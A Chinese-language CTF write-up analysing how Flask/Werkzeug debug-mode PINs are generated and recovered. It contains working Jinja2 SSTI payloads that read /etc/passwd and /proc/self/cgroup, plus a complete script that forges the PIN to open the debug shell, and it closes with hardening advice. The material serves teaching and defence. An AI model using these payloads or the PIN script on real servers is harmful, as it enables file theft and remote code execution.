Flask开启debug时PIN码的安全性问题
字数 1181 2025-08-29 08:31:53

Flask Debug模式PIN码安全性分析与利用

前言

当Flask开启debug模式时,debug页面会包含一个Python交互式shell,可以执行任意Python代码。这带来了严重的安全隐患,需要通过PIN码进行保护。本文将详细分析PIN码的生成机制及可能的利用方式。

基础示例

from flask import Flask
app = Flask(__name__)

@app.route("/index")
def hello():
    return Liwer  # 故意制造错误

if __name__ == "__main__":
    app.run(host="127.0.0.1", port=3000, debug=True)

当访问该应用时,会显示错误页面,其中包含:

  • Web应用目录信息
  • 可能的Python交互式shell入口(需要PIN码)

PIN码生成机制

PIN码由以下6个要素组合生成,缺一不可:

  1. 当前计算机用户名:运行Flask应用的操作系统用户名
  2. modname:通常为flask.app
  3. 应用名称getattr(app, "__name__", app.__class__.__name__),通常为Flask
  4. flask库下app.py的绝对路径:可从报错信息中获取
  5. 当前网络MAC地址的十进制表示:通过str(uuid.getnode())获取
  6. 机器ID:通过get_machine_id()获取

机器ID获取方式

  • 非Docker环境

    • /etc/machine-id
    • /proc/sys/kernel/random/boot_id
  • Docker环境

    • 读取/proc/self/cgroup
    • 取第一行/docker/后面的内容作为机器ID

实战利用 - [GYCTF2020]FlaskApp

方法一:直接SSTI利用

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl' + 'ag.txt', 'r').read()}}
{% endif %}
{% endfor %}

方法二:通过PIN码进入交互式shell

  1. 获取Flask用户名

    {% for c in [].__class__.__base__.__subclasses__() %}
    {% if c.__name__ == 'catch_warnings' %}
    {{ c.__init__.__globals__['__builtins__'].open('/etc/passwd', 'r').read() }}
    {% endif %}
    {% endfor %}
    

    输出中查找运行Flask的用户名(如flaskweb

  2. 获取app.py绝对路径
    从错误页面直接获取,如:
    /usr/local/lib/python3.7/site-packages/flask/app.py

  3. 获取MAC地址十进制数

    • 读取/sys/class/net/eth0/address(如72:fe:70:bd:04:59
    • 去除冒号后转换为十进制:
      int("72fe70bd0459", 16)  # 结果为126437138695257
      
  4. 获取机器ID(Docker环境):

    {% for c in [].__class__.__base__.__subclasses__() %}
    {% if c.__name__ == 'catch_warnings' %}
    {{ c.__init__.__globals__['__builtins__'].open('/proc/self/cgroup','r').read() }}
    {% endif %}
    {% endfor %}
    

    输出示例:bb89acbd6e0417d61a68ffd090617baed746e020991af325389751b3cb57338b

PIN码生成脚本

import hashlib
from itertools import chain

probably_public_bits = [
    'flaskweb',  # username
    'flask.app',  # modname
    'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.7/site-packages/flask/app.py'  # getattr(mod, '__file__', None),
]

private_bits = [
    '126437138695257',  # str(uuid.getnode()), /sys/class/net/ens33/address
    'bb89acbd6e0417d61a68ffd090617baed746e020991af325389751b3cb57338b'  # get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

注意事项

  1. 在某些Docker环境中,可能需要使用/etc/machine-id而非/proc/self/cgroup的内容
  2. 同一台机器多次启动Flask服务的PIN码相同
  3. 生成PIN码需要准确获取所有6个要素

安全建议

  1. 生产环境切勿开启debug模式
  2. 如必须使用debug模式,应限制访问IP
  3. 定期检查服务器上的敏感文件权限
  4. 使用复杂用户名增加PIN码猜测难度

参考

Flask Debug模式PIN码安全性分析与利用 前言 当Flask开启debug模式时,debug页面会包含一个Python交互式shell,可以执行任意Python代码。这带来了严重的安全隐患,需要通过PIN码进行保护。本文将详细分析PIN码的生成机制及可能的利用方式。 基础示例 当访问该应用时,会显示错误页面,其中包含: Web应用目录信息 可能的Python交互式shell入口(需要PIN码) PIN码生成机制 PIN码由以下6个要素组合生成,缺一不可: 当前计算机用户名 :运行Flask应用的操作系统用户名 modname :通常为 flask.app 应用名称 : getattr(app, "__name__", app.__class__.__name__) ,通常为 Flask flask库下app.py的绝对路径 :可从报错信息中获取 当前网络MAC地址的十进制表示 :通过 str(uuid.getnode()) 获取 机器ID :通过 get_machine_id() 获取 机器ID获取方式 非Docker环境 : /etc/machine-id 或 /proc/sys/kernel/random/boot_id Docker环境 : 读取 /proc/self/cgroup 取第一行 /docker/ 后面的内容作为机器ID 实战利用 - [ GYCTF2020 ]FlaskApp 方法一:直接SSTI利用 方法二:通过PIN码进入交互式shell 获取Flask用户名 : 输出中查找运行Flask的用户名(如 flaskweb ) 获取app.py绝对路径 : 从错误页面直接获取,如: /usr/local/lib/python3.7/site-packages/flask/app.py 获取MAC地址十进制数 : 读取 /sys/class/net/eth0/address (如 72:fe:70:bd:04:59 ) 去除冒号后转换为十进制: 获取机器ID (Docker环境): 输出示例: bb89acbd6e0417d61a68ffd090617baed746e020991af325389751b3cb57338b PIN码生成脚本 注意事项 在某些Docker环境中,可能需要使用 /etc/machine-id 而非 /proc/self/cgroup 的内容 同一台机器多次启动Flask服务的PIN码相同 生成PIN码需要准确获取所有6个要素 安全建议 生产环境切勿开启debug模式 如必须使用debug模式,应限制访问IP 定期检查服务器上的敏感文件权限 使用复杂用户名增加PIN码猜测难度 参考 Flask调试模式PIN码安全性分析 GYCTF2020 FlaskApp题目解析